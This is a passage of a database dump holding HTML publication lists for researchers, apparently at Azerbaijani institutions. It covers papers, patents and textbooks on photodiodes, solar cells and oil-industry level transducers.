ХIV &nbsp;№3, &nbsp;s..85-87</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Scanner for monitoring of radiation safety</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Dovlatov</p><p>N.A. Safarov</p><p>Z.Y.Sadygov</p></td><td width=\"102\"><p>Bakı, Azərbaycan</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>pp. 103-104</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Performance of new micro-pixel avalanche photo-diodes from Zecotek Photonics</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Z.Y.Sadygov A.A.Dovlatov</p><p>A.F.Zerrouk</p><p>N.A. Safarov</p><p>A.Ariffin</p><p>S. Khorev</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p><em>2008</em></p></td><td width=\"60\"><p>http://ndip.in2p3.fr/ndip08/</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Application nanotechnologies for increase of efficiency of a solar photocell</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>N.A.Safarov</p><p>A.A.Sadygova</p></td><td width=\"102\"><p><em>Ecoenergetika,</em></p></td><td width=\"60\"><p><em>2009</em></p></td><td width=\"60\"><p><em>#1,&nbsp; p.39-42</em></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Технология инноваций</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>А.А.Байрамов, Н.А.Сафаров, Н.Н.Мурсакулов, О.Л.Фиговский</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>с.42-46</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Basic construction for solar power plants.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>F.G.Aliev, E.M.Rzazadeh, N.A.Safarov, I.Q.Aliev, N.N.Mursakulov</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>p.93-96</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of si-sio<sub>2</sub>/obligo-β-naphthol/metal heterostructures</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov, N.N.Mursakulov, Sh.M.Hasannli, &nbsp;N.A.Safarov, B.A.Mamedov,&nbsp; N.N.Abdulzade, U.F.Samedova, X.M.Mamedova, R.K.Guseynov.</p></td><td width=\"102\"><p>Scientific Israel - Technological Advantages</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>vol 11, No 1 p. 9-14</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Method for increasing conversion efficiency of solar energy into electric power and a device for carrying out said method</p></td><td width=\"91\"><p>Patent</p></td><td width=\"95\"><p>A.M. Gashimov</p><p>A.A.Bayramov</p><p>N.N.Mursakulov</p><p>N.A Safarov.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>WO/2009/105840</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Performance of new micro-pixel avalanche photodiodes from Zecotek Photonics</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Z.Y.Sadygov</p><p>A.F.Zerrouk</p><p>A.Ariffin</p><p>N.A. Safarov</p><p>J.Sasam</p><p>V.Zhezher</p><p>N.Anphimov A.A.Dovlatov</p></td><td width=\"102\"><p>Nuclear Instruments and Methods in Physics Research,</p><p>Fransa &nbsp;</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>A, 610 &nbsp;p.381- 383</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Independent photoelectric installation with thermodynamic observation the sun</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>N.A. Safarov</p><p>A.A.Sadygova</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>p.91-93</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Yeni mikropikselli selvari radiasiya detektoru</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Ə.A.Dövlətov</p><p>Z.Y.Sadıqov</p><p>N.A. Safarov</p><p>R.M.Muxtarov</p><p>&nbsp;</p></td><td width=\"102\"><p>AMEA Radiasiya Problemləri İnstitutu</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>səh.46-47</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A new avalanche photodiode with wide linearity range</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Z.Y. Sadygov</p><p>R.M. Mukhtarov A.A. Dovlatov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>J. Physics NAS</p><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>vol. XVI,Number 2, Series: En</p><p>pp.367-369</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electrical photo guenchinq in polymer – ferrocene</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>G.Z. Suleymanov</p><p>N.A. Safarov</p><p>A.F. Gochuyeva M.A. Kurbanov I.N. Orujov</p><p>E.A. Jafarova</p></td><td width=\"102\"><p>J. Physics NAS</p><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>vol. XVI,Number 2,</p><p>Series: En</p><p>p.378-380</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Yeraltı boru kəmərlərində mayelərin sızmasını təyin edən akustik axımaxtaran</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Ş.F.Müttəlibova</p><p>Ə.Ə.Hüseynov</p><p>N.Ə.Səfərov</p><p>N.M.Paşayev</p></td><td width=\"102\"><p>Azərbaycan Milli Aerokosmik Agentliyinin Xəbərləri,</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p><em>#1(13), səh.47-50</em></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Correlation of the optical properties with ε(T)- dependence at ferroelectric phase transition in TlInS<sub>2</sub>doped with different impurities</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>O.Z.Alekperov</p><p>A.I.Nadjafov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku</p><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>p.63</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>γ-Radiation stimulated structural transition in TlInS<sub>2</sub>&nbsp;from monoclinic to hexagonal phase</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>O.Z.Alekperov</p><p>V.A.Gasymov</p><p>A.I.Nadjafov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>p.102</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Günəş fotoelektrik çeviricisinin&nbsp; hazırlanma üsulu</p></td><td width=\"91\"><p>Patent</p></td><td width=\"95\"><p>A.A. Bayramov</p><p>N.Ə.Səfərov</p><p>N.N. Mursakulov</p><p>Ş.H. Həsənli</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>İ 0090.</p><p>07.10.2010</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Эффект фотогашения электропроводности в композитах полимер - ферроцен</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>M.A. Kурбанов</p><p>Г.З.Сулейманов</p><p>Н.А. Сафаров</p><p>А.Ф. Гочуева</p><p>И.Н. Оруджев</p><p>З.М. Мамедова</p></td><td width=\"102\"><p>Физика и техника полупроводников, Russian</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>том 45, вып.4,p. 510-5</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1546,965,'az',' Rafig Ahmadov',' Rafig Ahmadov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"642\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"221\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"72\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"108\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"54\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"54\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p>&nbsp;</p></td><td width=\"221\"><p><strong>TEXTBOOKS</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"72\"><p><strong>&nbsp;</strong></p></td><td width=\"108\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"54\"><p><strong>&nbsp;</strong></p></td><td width=\"54\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DESIGN&nbsp;&nbsp; OF&nbsp; AUTOMATICS&nbsp;&nbsp;&nbsp; AND&nbsp; TELECOMMUNICATIONS&nbsp;&nbsp; DEVICES (in Russian).</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>Nabiyev I.A., Mammadova A.K.</p></td><td width=\"102\"><p>Azerbaijan State Oil Academy, Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>30</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ELECTRONIC&nbsp;&nbsp; CIRCUITS (in Engl.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>Dar&nbsp; es&nbsp; Salaam, Tanzania</p></td><td width=\"54\"><p>1980</p></td><td width=\"54\"><p>120</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>AUTOMATICS&nbsp;&nbsp;&nbsp; AND&nbsp; TELECOMMUNICATIONS&nbsp;&nbsp; DEVICES&nbsp; ( Analog&nbsp; and Digital Devices (in Azerb.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>Vaisman G.S.</p><p>Mursaliyev O.K.</p></td><td width=\"102\"><p>Azerbaijan State Oil Academy, Baku, Baku</p></td><td width=\"54\"><p>1987</p></td><td width=\"54\"><p>50</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ELECTRONIC&nbsp;&nbsp; DEVICES. (in Engl.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>&nbsp;Mbeya, Tanrania</p></td><td width=\"54\"><p>1988</p></td><td width=\"54\"><p>34</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INDUSTRIAL&nbsp; ELECTRONICS. (in Engl.)</p></td><td width=\"72\"><p>book</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>Mbeya, Tanrania</p></td><td width=\"54\"><p>1990</p></td><td width=\"54\"><p>42</p></td></tr><tr><td width=\"31\"><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"221\"><p>PATENTS</p></td><td width=\"72\"><p>&nbsp;</p></td><td width=\"108\"><p>&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LEVEL&nbsp; INDICATOR.&nbsp;</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 273460</p></td><td width=\"108\"><p>Nabiyev I.A., Rustamov N.S.</p></td><td width=\"102\"><p>”Bulletin&nbsp; of&nbsp;&nbsp;&nbsp; Inventions” Moscow</p></td><td width=\"54\"><p>1970</p></td><td width=\"54\"><p>No.20</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ULTRASONIC&nbsp; LEVEL&nbsp;&nbsp; GAUGE</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 546786</p></td><td width=\"108\"><p>Nabiyev I.A., Rekhels T.R., Rubin I.D.</p></td><td width=\"102\"><p>Bulletin&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; of&nbsp; Inventions Moscow</p></td><td width=\"54\"><p>&nbsp;</p><p>1977.</p><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p><p>No.6.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LEVEL&nbsp; INDICATOR</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 551513</p><p>&nbsp;</p></td><td width=\"108\"><p>Nabiyev I.A., Mahmudov F.A.</p></td><td width=\"102\"><p>”Bulletin&nbsp; of&nbsp;&nbsp; Inventions” ,Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.11</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ULTRASONIC&nbsp; LEVEL&nbsp;&nbsp;&nbsp; GAUGE</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR No. 551514</p></td><td width=\"108\"><p>Nabiyev I.A., Rekhels T.R., Rubin I.D</p></td><td width=\"102\"><p>Bulletin&nbsp;&nbsp;</p><p>&nbsp;of&nbsp; Inventions”,Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.11</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LINEAR&nbsp; MOVEMENT&nbsp;&nbsp; DIGITIZER</p></td><td width=\"72\"><p>Patent&nbsp; of&nbsp;&nbsp; the&nbsp; USSR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No. 1481881</p><p>&nbsp;</p></td><td width=\"108\"><p>NabiyevI.A., Pashayev M.C.</p></td><td width=\"102\"><p>Bulletin&nbsp;&nbsp;</p><p>&nbsp;of&nbsp; Inventions”,Moscow</p></td><td width=\"54\"><p>1989</p></td><td width=\"54\"><p>No.19</p></td></tr><tr><td width=\"31\"><p><strong>&nbsp;</strong></p></td><td width=\"221\"><p><strong>SCIENTIFIC ARTICLES AND PROCEEDINGSS</strong></p></td><td width=\"72\"><p>&nbsp;</p></td><td width=\"108\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp; CODE&nbsp;&nbsp;&nbsp; DISK&nbsp;&nbsp; OF&nbsp;&nbsp;&nbsp; CONVERTER&nbsp;&nbsp; BASED&nbsp;&nbsp;&nbsp; ON&nbsp;&nbsp;</p><p>&nbsp;SUPPRESSION&nbsp;&nbsp;&nbsp; OF&nbsp; OSCILLATION</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>“Prooblems&nbsp;&nbsp; of&nbsp;&nbsp; Computer&nbsp; Engineering” Baku</p></td><td width=\"54\"><p>1967</p></td><td width=\"54\"><p>Vol.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DETERMINATION&nbsp;&nbsp; OF&nbsp;&nbsp; ELEMENTS&nbsp; OF&nbsp; NON-CONTACT&nbsp;&nbsp;&nbsp; DIGITAL</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CONVERTER</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>”Technical&nbsp; Progress”</p><p>Baku</p></td><td width=\"54\"><p>1967</p></td><td width=\"54\"><p>No.5</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PROBLEMS&nbsp; OF&nbsp; DEVELOPMENT&nbsp; OF&nbsp;&nbsp; NON-CONTACT&nbsp;&nbsp;&nbsp; DIGITAL&nbsp;&nbsp; LEVEL&nbsp; INDICATORS.</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>Proceedings of Scientific&nbsp; Conference&nbsp; at&nbsp; AIOC&nbsp; (Azerbaijan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;&nbsp;Institute&nbsp; of&nbsp; Oil&nbsp; and Chemistry)Baku</p></td><td width=\"54\"><p>1968</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>FAST&nbsp;&nbsp; ACTION&nbsp; DIGITAL&nbsp; LEVEL&nbsp;&nbsp; INDICATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I.</p></td><td width=\"102\"><p>”Technical&nbsp; Progress “,Baku</p></td><td width=\"54\"><p>1969</p></td><td width=\"54\"><p>No.7</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp;&nbsp; TRANSDUCERS&nbsp; OF&nbsp; LIQUID&nbsp;&nbsp; LEVELS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Chebarev A.I., Rustamov N.S.</p></td><td width=\"102\"><p>Proceedings of USSR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Scientific Conference&nbsp; on&nbsp; Development&nbsp;&nbsp; of&nbsp; Digital&nbsp; Measuring&nbsp; Technology. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Moscow,</p></td><td width=\"54\"><p>1969</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>STRUCTURE&nbsp; OF&nbsp;&nbsp; MOVEMENT-CODE&nbsp;&nbsp; CONVERTERS&nbsp; WITH&nbsp;&nbsp;&nbsp; IMMOVABLE&nbsp;&nbsp; CODE MASKS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>.”Electromechanics”, Moscow</p></td><td width=\"54\"><p>1970</p></td><td width=\"54\"><p>No.2</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>NON-CONTACT&nbsp; &nbsp;&nbsp;&nbsp;ANGLE – CODE&nbsp;&nbsp; CONVERTER&nbsp; WITH&nbsp; RELAY&nbsp; SERVO&nbsp; DEVICE</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>.“Control&nbsp;&nbsp; Systems&nbsp;&nbsp; and&nbsp; Devices”, Moscow</p></td><td width=\"54\"><p>1971</p></td><td width=\"54\"><p>No.6</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp; DIGITAL&nbsp; GAUGES&nbsp;&nbsp; FOR&nbsp;&nbsp;</p><p>OIL INDUSTRY</p></td><td width=\"72\"><p>Ph.D&nbsp;</p><p>Dissertation</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>Baku</p></td><td width=\"54\"><p>1971</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>RELAY&nbsp;&nbsp; NULL-INDICATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>“Measurment&nbsp; Engineering” &nbsp;Moscow</p></td><td width=\"54\"><p>1971</p></td><td width=\"54\"><p>No.10</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>SOME&nbsp; PROBLEMS&nbsp; OF&nbsp; DESIGN&nbsp;&nbsp; OF&nbsp; FLOAT&nbsp;&nbsp;&nbsp;&nbsp; DIGITAL&nbsp; LEVEL&nbsp;&nbsp;&nbsp; TRANSDUCERS BASED&nbsp; ON&nbsp; THE&nbsp; SELF – EXCITING&nbsp; OSCILLATOR&nbsp; METHOD</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>“Scientific&nbsp; Papers”, AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1972</p></td><td width=\"54\"><p>No.1</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp; DIGITAL&nbsp; TRANSDUCERS&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FOR&nbsp; “WATER- OIL” AND&nbsp; “OIL-GAS” LEVELS</p></td><td width=\"72\"><p>&nbsp; article&nbsp;</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>AIOC,Baku</p></td><td width=\"54\"><p>1974</p></td><td width=\"54\"><p>No.68</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp;&nbsp; SELF – EXCITING&nbsp; OSCILLATOR&nbsp;&nbsp; TRANSDUCER&nbsp; OF&nbsp; LIQUID&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LEVEL</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>Automatic&nbsp; Control&nbsp; and&nbsp;&nbsp; Telemetry&nbsp; in&nbsp;&nbsp; Oil&nbsp; Industry”, Moscow</p></td><td width=\"54\"><p>1975</p></td><td width=\"54\"><p>No.1,</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp;&nbsp;&nbsp; AND&nbsp;&nbsp; DEVELOPMENT&nbsp;&nbsp;&nbsp; OF&nbsp; DIGITAL&nbsp; TRANSDUCER&nbsp;</p><p>OF&nbsp;&nbsp; POSITION OF&nbsp; AUTOMATIC&nbsp; CONTROLLER&nbsp;&nbsp; ACTUATOR.&nbsp;</p></td><td width=\"72\"><p>&nbsp;</p><p>&nbsp;article.&nbsp;</p></td><td width=\"108\"><p>NabiyevI.A.,</p></td><td width=\"102\"><p>AIOC,</p><p>Baku</p></td><td width=\"54\"><p>1975</p></td><td width=\"54\"><p>No.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; OF&nbsp;&nbsp; INTELLIGENCE&nbsp;&nbsp; SIGNAL&nbsp;&nbsp; READING&nbsp;&nbsp; ELEMENTS&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OF&nbsp; SELF-EXCITING&nbsp; OSCILLATOR&nbsp;&nbsp; TRANSDUCERS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p><strong>-</strong></p></td><td width=\"102\"><p>“Scientific&nbsp; Papers” &nbsp;</p><p>&nbsp;AIOC, Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.1</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>“WATER-OIL” AND&nbsp; “OIL –GAS” LEVELS&nbsp;&nbsp;&nbsp; TRANSDUCER</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Rustamov N.S.</p></td><td width=\"102\"><p>.”Oil&nbsp; and Gas” ,&nbsp; Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.10</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DETERMINATION&nbsp;&nbsp; OF&nbsp;&nbsp; RATIONAL&nbsp;&nbsp; PARAMETERS&nbsp;&nbsp; OF&nbsp;&nbsp; ELEMENTS&nbsp; OF&nbsp; &nbsp;TRANSDUCERS&nbsp; WITH&nbsp; STATIC&nbsp;&nbsp; CODE&nbsp;&nbsp; ELEMENT</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Rustamov N.S.</p></td><td width=\"102\"><p>“Oil &nbsp;and&nbsp; Gas”,&nbsp; Baku</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>&nbsp;No.9</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>LIQUID&nbsp;&nbsp; LEVEL&nbsp;&nbsp; ALARM&nbsp;&nbsp; SYSTEM</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Mahmudov F.A.</p></td><td width=\"102\"><p>.”Automatic&nbsp; Control&nbsp; and&nbsp; Telemetry in&nbsp;&nbsp; Oil&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Industry”, Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>No.7</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>PRINCIPLES&nbsp; OF&nbsp; STRUCTURE&nbsp; OF&nbsp;&nbsp;&nbsp; ULTRASONIC&nbsp; LEVEL&nbsp; INDICATORS WITH&nbsp;&nbsp; LIQUID&nbsp; WAVEGUIDE</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>Rechels T.R.</p></td><td width=\"102\"><p>Proceedings of USSR&nbsp; Scientific&nbsp;&nbsp; Conference&nbsp; on&nbsp;&nbsp;&nbsp;&nbsp; Information-Measuring&nbsp; Systems. Moscow</p></td><td width=\"54\"><p>1977</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>DIGITAL&nbsp; TRANSDUCER&nbsp; OF&nbsp; AUTOMATIC&nbsp;&nbsp; CONTROLLER&nbsp; ACTUATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A., Abdullayev A.A.</p></td><td width=\"102\"><p>“Technical Progress”, Baku</p></td><td width=\"54\"><p>1978</p></td><td width=\"54\"><p>No.4</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>THREE-POSITION&nbsp;&nbsp; LEVEL&nbsp;&nbsp; INDICATOR</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>NabiyevI.A.,</p></td><td width=\"102\"><p>“Power&nbsp; Engineering&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; Automatics”Baku</p></td><td width=\"54\"><p>1983</p></td><td width=\"54\"><p>No.32</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>ANALYSIS&nbsp; OF&nbsp;&nbsp; SENSITIVE&nbsp; ELEMENTS&nbsp; OF&nbsp; DIGITAL&nbsp;&nbsp;&nbsp;&nbsp; SELF -&nbsp; EXCITING&nbsp;&nbsp;</p><p>&nbsp;OSCILLATOR TRANSDUCERS&nbsp; OF&nbsp; LINEAR&nbsp; MOVEMENTS</p></td><td width=\"72\"><p>article</p></td><td width=\"108\"><p>-</p></td><td width=\"102\"><p>“Elements&nbsp; of&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Automatic&nbsp; Control&nbsp;&nbsp; and&nbsp; Data Measuring&nbsp; Systems”, AIOC, Baku</p></td><td width=\"54\"><p>1984</p></td><td width=\"54\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"221\"><p>INVESTIGATION&nbsp; 